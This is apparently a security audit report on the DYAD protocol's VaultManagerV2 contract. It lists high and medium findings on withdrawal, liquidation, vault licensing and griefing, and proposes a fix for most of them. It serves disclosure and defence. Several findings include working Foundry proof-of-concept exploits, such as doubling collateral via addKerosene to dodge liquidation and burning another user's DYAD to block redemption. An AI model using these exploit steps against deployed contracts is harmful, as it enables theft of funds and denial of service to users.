| ID | Description | Severity |
|---|---|---|
| H-01 | Cannot withdraw from unbounded kerosine vault, because it doesn't have .oracle() |
High |
| H-02 | Upon liquidation the collateral is sent only from vault, but cp is calculated with both | High |
| H-03 | VaultManagerV2::withdraw can be blocked at no cost | High |
| H-04 | addKerosine allow adding of non-kerosine vaults | High |
| M-01 | Full redeem can be blocked by anyone by burning other users 1 wei DYAD | Medium |
| M-02 | vaultManagerV2::remove and removeKerosene can be blocked for 1 wei |
Medium |
| M-03 | Deployment script deploys bounded kerosine without calling setUnboundedKerosineVault |
Medium |
| M-04 | Positions under 1e18 collateral ratio won’t be liquidated, since there is no incentive for the liquidator | Medium |
| M-05 | Small positions will not pose an incentive to be liquidated. | Medium |
| M-06 | Liquidation bonus logic is wrong | Medium |
| M-07 | Kerosine vaults cannot be added through addKerosine() | Medium |
User can backed his Dyad debt with non-kerosine and kerosine collateral, but the non-kerosine (exogenous) need to be at least 100%, and the rest 50% can be kerosine if he want.
He will be able to deposit Kerosine collateral via VaultManagerV2.deposit(), but when try to withdraw it the function will revert always, because the KerosineVaults do not have oracle().
VaultManagerV2.sol#L134-L153
function withdraw(
uint id,
address vault,
uint amount,
address to
)
public
isDNftOwner(id)
{
if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();
uint dyadMinted = dyad.mintedDyad(address(this), id);
Vault _vault = Vault(vault);
uint value = amount * _vault.assetPrice()
* 1e18
/ 10**_vault.oracle().decimals() // @audit KerosineVault price is not determined with oracle
/ 10**_vault.asset().decimals();
if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
_vault.withdraw(id, to, amount);
if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
}Casting to Vault is misleading because it contains oracle storage variable, but the contract which UnboundedKerosineVault inherits is KerosineVault Vault.Kerosine.sol
abstract contract KerosineVault is IVault, Owned(msg.sender) There is no oracle variable defined in either of the parent contracts, because the Kerosine price is determined based on other vaults.
Here is a Coded POC, which demonstrates that withdraw() will always revert when try to withdraw Kerosine collateral.
In order to execute the test:
Add virtual to the setUp of BaseTest file. Create new file and place the entire content there, then execute: forge test --match-test test_unbounded_kerosine_do_not_have_oracle -vvv
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;
import "forge-std/console.sol";
import {stdError} from "forge-std/StdError.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Kerosine} from "../src/staking/Kerosine.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
import {KerosineDenominator} from "../src/staking/KerosineDenominator.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
contract VaultManagerV2Test is BaseTest {
VaultManagerV2 vaultManagerV2;
UnboundedKerosineVault unboundedKerosineVault;
ERC20Mock kerosine;
function setUp() public override {
super.setUp();
vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));
KerosineManager kerosineManager = new KerosineManager();
kerosineManager.add(address(wethVault));
kerosine = new ERC20Mock("Kerosine", "KER");
kerosine.mint(address(this), 1e27); //SIMULATE
unboundedKerosineVault = new UnboundedKerosineVault(vaultManagerV2, kerosine, dyad, kerosineManager);
KerosineDenominator kerosineDenominator = new KerosineDenominator(Kerosine(payable(kerosine)));
unboundedKerosineVault.setDenominator(kerosineDenominator);
vm.startPrank(vaultLicenser.owner());
vaultLicenser.add(address(wethVault));
vaultLicenser.add(address(unboundedKerosineVault));
vm.stopPrank();
vm.prank(vaultManagerLicenser.owner());
vaultManagerLicenser.add(address(vaultManagerV2));
}
function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
public
returns (uint256 nftId)
{
vm.deal(user, 2 ether);
vm.startPrank(user);
nftId = dNft.mintNft{value: 2 ether}(user);
vaultManagerV2.add(nftId, address(wethVault));
weth.mint(user, amountAsset);
weth.approve(address(vaultManagerV2), amountAsset);
vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
vaultManagerV2.mintDyad(nftId, amountDyad, user);
vm.stopPrank();
}
function mintDNFTAndDepositToUnboundedKerosineVault(address user, uint256 amountAsset, uint256 amountDyad)
public
returns (uint256 nftId)
{
vm.deal(user, 2 ether);
vm.startPrank(user);
nftId = dNft.mintNft{value: 2 ether}(user);
vaultManagerV2.add(nftId, address(unboundedKerosineVault));
vm.stopPrank();
vm.prank(address(this));
kerosine.transfer(user, amountAsset);
vm.startPrank(user);
kerosine.approve(address(vaultManagerV2), amountAsset);
vaultManagerV2.deposit(nftId, address(unboundedKerosineVault), amountAsset);
vm.roll(block.number + 5);
// vaultManagerV2.mintDyad(nftId, amountDyad, user);
vm.stopPrank();
}
function test_unbounded_kerosine_do_not_have_oracle() public {
address user = makeAddr("User");
address wethDepositor = makeAddr("Weth Depositor");
mintDNFTAndDepositToWethVault(wethDepositor, 1e18, 1e13);
uint256 unboundedKerosineVaultNft = mintDNFTAndDepositToUnboundedKerosineVault(user, 1e20, 1e3);
vm.prank(user);
vaultManagerV2.withdraw(unboundedKerosineVaultNft, address(unboundedKerosineVault), 1e1, address(this));
}
}Create separate logic to be able to withdraw from Kerosine vaults.
When a user is liquidated, 120% (because of the 20% bonus) of their collateral must be sent to the liquidator. Collateral is stored in two mapping vaults and kerosineVaults, when he is liquidated it calculates what % of his collateral to send to the liquidator, but now it will only be sent from non-kerosene vaults, resulting in less collateral being sent to liquidator.
function liquidate(
uint id,
uint to
)
external
isValidDNft(id)
isValidDNft(to)
{
uint cr = collatRatio(id);
uint userCollateral = getTotalUsdValue(id);
if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));
uint cappedCr = cr < 1e18 ? 1e18 : cr;
uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
uint numberOfVaults = vaults[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaults[id].at(i));
uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
vault.move(id, to, collateral);
}
emit Liquidate(id, msg.sender, to);
}As we can see, the collateral is only sent from vaults, which will send lower collateral than intended to the liquidator in cases like this:
-
User has 135$ collateral and 100 DYAD (which puts them in liquidation state)
-
$100 from these $135 need to be exogenous because of the checks in
mintDyadand how is stated in the docs -
The rest $35 are kerosine
It will then calculate the percentage of collateral that needs to be sent.
Note: It will be wrong here because the liquidation bonus is miscalculated as we pointed out in our other report, but it will still be over $100. The actual value should be 88% ($120) but now it's 79% ($107) which doesn't change the problem
- cappedCr will be
1.35e18 - liquidationEquityShare =
(1.35e18 - 1e18) * 0.2e18 / 1e18 = 0.35e18 * 0.2e18 / 1e18 = 0.07e18 - liquidationAssetShare =
(0.07e18 + 1e18) * 1e18 / 1.35e18 ≈ 0.79e18 (107/135)
That 79% is supposed to be on $135, but since it only transfers from vaults, it will transfer 79% of $100, which is $79, which makes the liquidator lose money instead of having an incentive to liquidate someone.
Manual Review
When someone is liquidated, the percentage of his collateral should also be sent from kerosene as well, because cr is based on both.
Issue Description:
Since everyone with minted dNft can call VaultManagerV2::deposit, front run protection which was added to the V2 of the VaultManager can be utilized by a griefer to block any call to withdraw function with 0 tokens transfer (if asset supports it, otherwise 1 wei is enough). When someone calls deposit function, idToBlockOfLastDeposit[id] is set to the current block.number . After that idToBlockOfLastDeposit[id] is used in the withdraw function. Now anyone with a minted dNft can call deposit with 0 wei on behalf of a user, frontrunning his withdraw execution. The result will be a DoS for the withdrawer of the duration (or even more if the liquidator is financially incentivised to do it) of a block.
function deposit(
uint id,
address vault,
uint amount
)
external
isValidDNft(id)
{
idToBlockOfLastDeposit[id] = block.number; //ISSUE set to current
Vault _vault = Vault(vault);
_vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
_vault.deposit(id, amount);
}function withdraw(
uint id,
address vault,
uint amount,
address to
)
public
isDNftOwner(id)
{
if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock();//ISSUE revert on current
uint dyadMinted = dyad.mintedDyad(address(this), id);
Vault _vault = Vault(vault);
uint value = amount * _vault.assetPrice()
* 1e18
/ 10**_vault.oracle().decimals()
/ 10**_vault.asset().decimals();
if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
_vault.withdraw(id, to, amount);
if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
}Recommendation:
Check if the deposit occured at the same block.number as the withdraw is from the withdrawer itself, otherwise revert.
There are two types of collateral (normal and kerosene) in VaultManagerV2. You as a user can add vaults of both types with add() and addKerosene() and deposit into them with deposit(). Then when it calculates your collateral factor, it will go through the 2 mappings used in add() and addKerosene() and sum up all your collateral in USD.
mapping (uint => EnumerableSet.AddressSet) internal vaults;
mapping (uint => EnumerableSet.AddressSet) internal vaultsKerosene;
function add(
uint id,
address vault
)
external
isDNftOwner(id)
{
if (vaults[id].length() >= MAX_VAULTS) revert TooManyVaults();
if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed();
if (!vaults[id].add(vault)) revert VaultAlreadyAdded();
emit Added(id, vault);
}
function addKerosene(
uint id,
address vault
)
external
isDNftOwner(id)
{
if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults();
if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();
if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded();
emit Added(id, vault);
}As you can see both functions checks if the vaults are licensed. In addKerosene(), it checks if the vault isLicensed in keroseneManager.
This is done in the deployment script:
kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));It adds these two vaults because it then calculates the cost of the kerosene vault based on them. And because of this in addKerosene() can be added non-kerosene vaults like WETH and wstETH. But the real impact is that when the collateral ratio is calculated, it will go through vaults and vaultsKerosene mapping and the user can, by depositing only in the WETH vault and adding it to vaultsKerosene as well, get twice as collateral when calculating the collateral ratio.
User will be able to add a normal vault (eg WETH) with add(), then deposit(), and then add the same vault to vaultsKerosene via addKerosene().
When he becomes liquidatable, his collateral ratio will be calculated by summing the collateral from both mappings, but since both loops simply get the deposit value based on the DNft id, it will add the WETH amount he deposits twice.
function getTotalUsdValue(
uint id
)
public
view
returns (uint) {
return getNonKeroseneValue(id) + getKeroseneValue(id);
}
function getNonKeroseneValue(
uint id
)
public
view
returns (uint) {
uint totalUsdValue;
uint numberOfVaults = vaults[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaults[id].at(i));
uint usdValue;
if (vaultLicenser.isLicensed(address(vault))) {
usdValue = vault.getUsdValue(id);
}
totalUsdValue += usdValue;
}
return totalUsdValue;
}
function getKeroseneValue(
uint id
)
public
view
returns (uint) {
uint totalUsdValue;
uint numberOfVaults = vaultsKerosene[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaultsKerosene[id].at(i));
uint usdValue;
if (keroseneManager.isLicensed(address(vault))) {
usdValue = vault.getUsdValue(id);
}
totalUsdValue += usdValue;
}
return totalUsdValue;
}The test will cover that the user can deposit only WETH and when the price drops, and he should become liquidatable, getTotalUsdValue() will return twice more collateral, because he just add the WETH vault in the vaultsKerosene mapping.
In order to execute the test:
- Add
virtualto the setUp ofBaseTestfile. - Create new file and place the entire content there, then execute:
forge test --match-test test_user_can_double_his_collateral -vv// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;
import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {KerosineManager} from "../src/core/KerosineManager.sol";
contract VaultManagerV2Test is BaseTest {
VaultManagerV2 vaultManagerV2;
function setUp() public override {
super.setUp();
vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));
KerosineManager kerosineManager = new KerosineManager();
kerosineManager.add(address(wethVault));
vaultManagerV2.setKeroseneManager(kerosineManager);
vm.prank(vaultLicenser.owner());
vaultLicenser.add(address(wethVault));
vm.prank(vaultManagerLicenser.owner());
vaultManagerLicenser.add(address(vaultManagerV2));
}
function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
public
returns (uint256 nftId)
{
vm.deal(user, 2 ether);
vm.startPrank(user);
nftId = dNft.mintNft{value: 2 ether}(user);
vaultManagerV2.add(nftId, address(wethVault));
weth.mint(user, amountAsset);
weth.approve(address(vaultManagerV2), amountAsset);
vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
vaultManagerV2.mintDyad(nftId, amountDyad, user);
vm.stopPrank();
}
function test_user_can_double_his_collateral() public {
address alice = makeAddr("Alice");
address liquidator = makeAddr("Liquidator");
wethOracle.setPrice(1e8); // Using 1$ for weth for better understanding
uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 150e18, 100e18);
uint256 liquidatorNft = mintDNFTAndDepositToWethVault(liquidator, 400e18, 200e18);
console.log("User deposit only WETH and his collateral in USD is:", vaultManagerV2.getTotalUsdValue(aliceNft));
wethOracle.setPrice(0.9e8);
assertEq(vaultManagerV2.collatRatio(aliceNft), 1.35e18);
console.log("Alice collateral in USD after the price drops is: ", vaultManagerV2.getTotalUsdValue(aliceNft));
// Alice starts the attack here, because she is at liquidable state and want to skip it
vm.prank(alice);
vaultManagerV2.addKerosene(aliceNft, address(wethVault));
console.log("Alice collateral in USD after she adds the vault: ", vaultManagerV2.getTotalUsdValue(aliceNft));
vm.prank(liquidator);
vm.expectRevert(IVaultManager.CrTooHigh.selector);
vaultManagerV2.liquidate(aliceNft, liquidatorNft);
assertEq(vaultManagerV2.collatRatio(aliceNft), 2.7e18); // Her collateral ratio is doubled
}
}
Logs:
User deposit only WETH and his collateral in USD is: 150000000000000000000
Alice collateral in USD after the price drops is: 135000000000000000000
Alice collateral in USD after she adds the vault: 270000000000000000000Manual Review
Should ensure that only Kerosine vaults can be added to vaultsKerosine, this can be done with a boolean variable in the KerosineVault contract and then checked it in addKerosine().
Due to a wrong modifier being used in burnDyad, anyone can use his tokens and decrease the mintedDyad mapping of a random user. Everyone can grief other users, by burning their tokens at any given moment.
Even more, it will create a discrepancy between the real DYAD balance of the user and the amount in the mintedDyad mapping. The result of this action will be that the user will not be able to withdraw his entire DYAD token balance, because of the difference, the remaining funds will be locked in the DYAD contract.
function burnDyad(
uint id,
uint amount
)
external
isValidDNft(id) //ISSUE wrong modifier used
{
dyad.burn(id, msg.sender, amount);
emit BurnDyad(id, amount, msg.sender);
}In the scenario where the user wants to redeem all of his DYAD tokens by passing DYAD.balanceOf(him) or mintedDyad(him), anyone can burn 1 wei on his behalf, causing the next call to revert with an arithmetic underflow in DYAD.burn().
function redeemDyad(
uint id,
address vault,
uint amount,
address to
)
external
isDNftOwner(id)
returns (uint) {
dyad.burn(id, msg.sender, amount); // @audit will fail here
Vault _vault = Vault(vault);
uint asset = amount
* (10**(_vault.oracle().decimals() + _vault.asset().decimals()))
/ _vault.assetPrice()
/ 1e18;
withdraw(id, vault, asset, to);
emit RedeemDyad(id, vault, amount, to);
return asset;
}This test shows that everyone can burn any user’s tokens and then user can withdraw only up to his mintedDyad and rest of his tokens will be locked in the DYAD contract.
In second test
redeemDyadwill revert with arithmetic if Alice was frontrun by someone when she want to redeem her whole DYAD balance.
In order to execute the test:
- Add
virtualto the setUp ofBaseTestfile. - Create new file and place the entire content there, then execute:
forge test --match-test test_decrease_mintedDyad_of_another -vv// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;
import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
contract VaultManagerV2Test is BaseTest {
VaultManagerV2 vaultManagerV2;
function setUp() public override {
super.setUp();
vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));
vm.prank(vaultLicenser.owner());
vaultLicenser.add(address(wethVault));
vm.prank(vaultManagerLicenser.owner());
vaultManagerLicenser.add(address(vaultManagerV2));
}
function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
public
returns (uint256 nftId)
{
vm.deal(user, 2 ether);
vm.startPrank(user);
nftId = dNft.mintNft{value: 2 ether}(user);
vaultManagerV2.add(nftId, address(wethVault));
weth.mint(user, amountAsset);
weth.approve(address(vaultManagerV2), amountAsset);
vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
vaultManagerV2.mintDyad(nftId, amountDyad, user);
vm.stopPrank();
}
function test_decrease_mintedDyad_of_another() public {
address bob = makeAddr("Bob");
address alice = makeAddr("Alice");
uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);
vm.prank(bob);
vaultManagerV2.burnDyad(aliceNft, 1e18);
assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));
vm.roll(block.number + 1);
vm.startPrank(alice);
console.log("Alice DYAD balance before redeem:", dyad.balanceOf(alice)); // 1000 DYAD
vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.mintedDyad(address(vaultManagerV2), aliceNft), alice); // She can redeem max 999 DYAD
console.log("Alice DYAD balance after redeem: ", dyad.balanceOf(alice)); // 1 DYAD left and cannot be redeemed
vm.stopPrank();
}
function test_decrease_mintedDyad_of_another_revert() public {
address bob = makeAddr("Bob");
address alice = makeAddr("Alice");
uint256 bobNft = mintDNFTAndDepositToWethVault(bob, 1.5e18, 1000e18);
uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1000e18);
vm.prank(bob);
vaultManagerV2.burnDyad(aliceNft, 1); // Frontrunning full redeem by burning 1 wei
assertGt(dyad.balanceOf(alice), dyad.mintedDyad(address(vaultManagerV2), aliceNft));
vm.roll(block.number + 1);
vm.startPrank(alice);
vaultManagerV2.redeemDyad(aliceNft, address(wethVault), dyad.balanceOf(alice), alice); // She can redeem max 1000 DYAD - 1 wei
vm.stopPrank();
}
}Manual Review
Instead of using isValidDNft modifier in burnDyad , consider using isDNftOwner.
Issue Description:
Anyone can block removal of vault in the VaultManagerV2 contract by simply depositing at least 1 wei, this will make the id2asset of this nftId non-zero and grief the removal.
The issue is possible because everyone can deposit to any dNft, even without having one.
function remove(
uint id,
address vault
)
external
isDNftOwner(id)
{
if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();//ISSUE
if (!vaults[id].remove(vault)) revert VaultNotAdded();
emit Removed(id, vault);
}
function removeKerosene(
uint id,
address vault
)
external
isDNftOwner(id)
{
if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();//ISSUE
if (!vaultsKerosene[id].remove(vault)) revert VaultNotAdded();
emit Removed(id, vault);
}Recommendation:
Instead of reverting when id2asset is a non-zero, just execute the withdraw function once again with the amount, this will send the donated tokens to the owner of that nft.
Issue Description:
Deployment of the BoundedKerosineVault happens without calling setUnboundedKerosineVault, that will eventually make the price of the asset 0, when admin license it and users begin to use it. The consequences will be that it won’t support depositor’s collateral rate and will limit their minting capabilities.
BoundedKerosineVault boundedKerosineVault = new BoundedKerosineVault(
vaultManager,
Kerosine(MAINNET_KEROSENE),
kerosineManager
);Recommendation:
Despite that it is not going to be used for now, call the setUnboundedKerosineVault in the script as well.
[M-04] Positions under 1e18 collateral ratio won’t be liquidated, since there is no incentive for the liquidator
When positions fall under the 100% collateral ratio, nobody will be incentivized to liquidate them, which will make all of them insolvent forever and lead to bad debt in the system. Notice that since the value of the collateral has depreciated, no one will be eager to burn his DYAD tokens and receive less collateral for them.
Currently, VaultManagerV2 issues a 20% liquidation reward to every liquidator, unless the collateral rate of the user being liquidated is ≤ 1e18. In this scenario, liquidators will take the entire collateral, whose value is below the value of the needed DYAD tokens to cover the debt. We can see that nobody will be liquidated.
Since there will be limited types of vaults (WETH, wstETH), the likelihood of many positions becoming insolvent at once is big. It can be caused by various factors, for example, WETH or WSTETH's prices falling drastically or denominator being replaced with the wrong value decreasing the price of the Kerosine.
We can see that when the CR is equal to or below 1e18, 100% of the collateral is taken.
Now let’s see an example:
Price of WETH = $1000
- Alice mints 100 DYAD with 0.15 WETH, CR is 150%
- The price of WETH decreases by 40% to $600 in a short period of time, CR becomes 90%.
- The liquidator should pay $100 worth of
DYADand receive only $90 from the collateral -WETH.
function liquidate(
uint id,
uint to
)
external
isValidDNft(id)
isValidDNft(to)
{
uint cr = collatRatio(id);
if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));
uint cappedCr = cr < 1e18 ? 1e18 : cr;
uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
uint numberOfVaults = vaults[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaults[id].at(i));
uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
vault.move(id, to, collateral);
}
emit Liquidate(id, msg.sender, to);
}Manual Review
In the first place situations like these should be avoided at all costs, but because of the volatile assets used in the Vaults, consider giving additional rewards to users who are liquidating underwater positions. Note that this can open another vulnerability that in event of bank run the last person to redeem will bear the loss.
There is no incentive for liquidators to liquidate small positions (even under $100), especially on Mainnet, this will result in bad debt accrued for the Dyad system because no one will be willing to remove the position.
If we take a look at gas prices on Mainnet when it was relatively expensive:
| Priority | Low | Average | High |
|---|---|---|---|
| Gwei | 75 | 75 | 80 |
| Price | $7 | $7 | $7,45 |
We can see the current transaction prices varying and in peak hours they can be up to 5 times more, without additional costs of liquidation logic execution included.
Consider the scenario when there are many small positions with collateral under $7,5 and minted DYAD worth $5.
Even when gas is cheap there will be no incentive for liquidators to close these positions because they will receive roughly $1,80 as a reward. If we take the current lowest gas price: $1.63, the liquidator leaves with a reward of $0.17.
Note that the reward will be even less because not 100% of the user collateral will be taken (unless the position falls under 100% collateral ratio, but this is another issue that we’ve reported) additionally decreasing the reward.
We can see in the code that there is no validation for the minimum borrowable amount.
For the mint flow, there is no minimum mint amount.
function deposit(
uint id,
address vault,
uint amount
)
external
isValidDNft(id)
{
idToBlockOfLastDeposit[id] = block.number;
Vault _vault = Vault(vault);
_vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
_vault.deposit(id, amount);
} function mintDyad(
uint id,
uint amount,
address to
)
external
isDNftOwner(id)
{
uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount;
if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat();
dyad.mint(id, to, amount);
if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow();
emit MintDyad(id, amount, to);
}We can see that the only check are for the overcollateralization of the position and there is no such checks for the minimum amount that can be minted.
Manual Review
Consider adding minimum mintDyad amount to prevent such scenarios, otherwise to keep the solvency of the whole protocol admins of Dyad will have to liquidate such a positions, losing money in gas fees without receiving anything back.
When a liquidator liquidates a user, he will pay his debt and must receive the debt + 20% bonus in form of collateral (from the user). But now the 20% bonus is based on the user’s (collateral - debt), which removes the entire incentive for liquidation.
From Docs:
liquidate() will first check if the user with the supplied id is for liquidation, then take the user's debt to cover from mintedDyad and burn it from the liquidator's balance. From there, the calculation of the liquidation bonus begins.
Let's look at this example (same as in the test below):
- UserA will have $135 collateral and $100 debt
- Liquidator assumes that he will receive the $100 debt + 20% of $100 ($20) = $120 as collateral
But it will actually calculate 20% of (UserA collateral - UserA debt), which in this case would be 20% of $35 = $7
- cappedCr will be
1.35e18 - liquidationEquityShare =
(1.35e18 - 1e18) * 0.2e18 / 1e18 = 0.35e18 * 0.2e18 / 1e18 = 0.07e18 - liquidationAssetShare =
(0.07e18 + 1e18) * 1e18 / 1.35e18 ≈ 0.79e18 (107/135)
This 0.79e18 or more precisely 107/135 is how much of user’s collateral the liquidator will receive and that is $135 * (107/135) = $107.
As we can see for $100 repaid he will only get $7 collateral bonus collateral, which confirms our state that the 20% bonus is based on (UserA collateral - UserA debt).
function liquidate(
uint id,
uint to
)
external
isValidDNft(id)
isValidDNft(to)
{
uint cr = collatRatio(id);
if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));
uint cappedCr = cr < 1e18 ? 1e18 : cr;
uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
uint numberOfVaults = vaults[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaults[id].at(i));
uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
vault.move(id, to, collateral);
}
emit Liquidate(id, msg.sender, to);
}The test will cover the same as case we explained above.
In order to execute the test:
- Add
virtualto the setUp ofBaseTestfile. - Create new file and place the entire content there, then execute:
forge test --match-test test_liquidation_bonus_is_wrong -vv// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;
import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
contract VaultManagerV2Test is BaseTest {
VaultManagerV2 vaultManagerV2;
function setUp() public override {
super.setUp();
vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);
wethVault = new Vault(vaultManagerV2, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));
vm.prank(vaultLicenser.owner());
vaultLicenser.add(address(wethVault));
vm.prank(vaultManagerLicenser.owner());
vaultManagerLicenser.add(address(vaultManagerV2));
}
function mintDNFTAndDepositToWethVault(address user, uint256 amountAsset, uint256 amountDyad)
public
returns (uint256 nftId)
{
vm.deal(user, 2 ether);
vm.startPrank(user);
nftId = dNft.mintNft{value: 2 ether}(user);
vaultManagerV2.add(nftId, address(wethVault));
weth.mint(user, amountAsset);
weth.approve(address(vaultManagerV2), amountAsset);
vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
vaultManagerV2.mintDyad(nftId, amountDyad, user);
vm.stopPrank();
}
function test_liquidation_bonus_is_wrong() public {
address liquidator = makeAddr("Liquidator");
address alice = makeAddr("Alice");
wethOracle.setPrice(1e8); // Using 1$ for weth for better understanding
uint256 liquidatorNft = mintDNFTAndDepositToWethVault(liquidator, 2e18, 1e18);
uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18, 1e18);
wethOracle.setPrice(0.9e8);
assertEq(vaultManagerV2.collatRatio(aliceNft), 1.35e18);
console.log("Liquidator collateral before liquidate Alice:", vaultManagerV2.getNonKeroseneValue(liquidatorNft));
vm.prank(liquidator);
vaultManagerV2.liquidate(aliceNft, liquidatorNft);
console.log("Liquidator collateral after liquidate Alice: ", vaultManagerV2.getNonKeroseneValue(liquidatorNft));
// The liquidator receives only 106.9999999 collateral in return.
}
}
Logs:
Liquidator collateral before liquidate Alice: 1800000000000000000
Liquidator collateral after liquidate Alice: 2869999999999999999Manual Review
The bonus should be based on the burned user debt and then must send the liquidator the percentage of liquidated user collateral equal to the burned debt + 20% bonus.
This is an example implementation, which gives the desired 20% bonus from the right amount, but need to be tested for further issues.
function liquidate(
uint id,
uint to
)
external
isValidDNft(id)
isValidDNft(to)
{
uint cr = collatRatio(id);
+ uint userCollateral = getTotalUsdValue(id);
if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));
- uint cappedCr = cr < 1e18 ? 1e18 : cr;
+ uint liquidationEquityShare = 0;
+ uint liquidationAssetShare = 1e18;
+ if (cr >= 1.2e18) {
+ liquidationEquityShare = (dyad.mintedDyad(address(this), id)).mulWadDown(LIQUIDATION_REWARD);
+ liquidationAssetShare = (dyad.mintedDyad(address(this), id) + liquidationEquityShare).divWadDown(userCollateral);
+ }
- uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
- uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
uint numberOfVaults = vaults[id].length();
for (uint i = 0; i < numberOfVaults; i++) {
Vault vault = Vault(vaults[id].at(i));
uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
vault.move(id, to, collateral);
}
emit Liquidate(id, msg.sender, to);
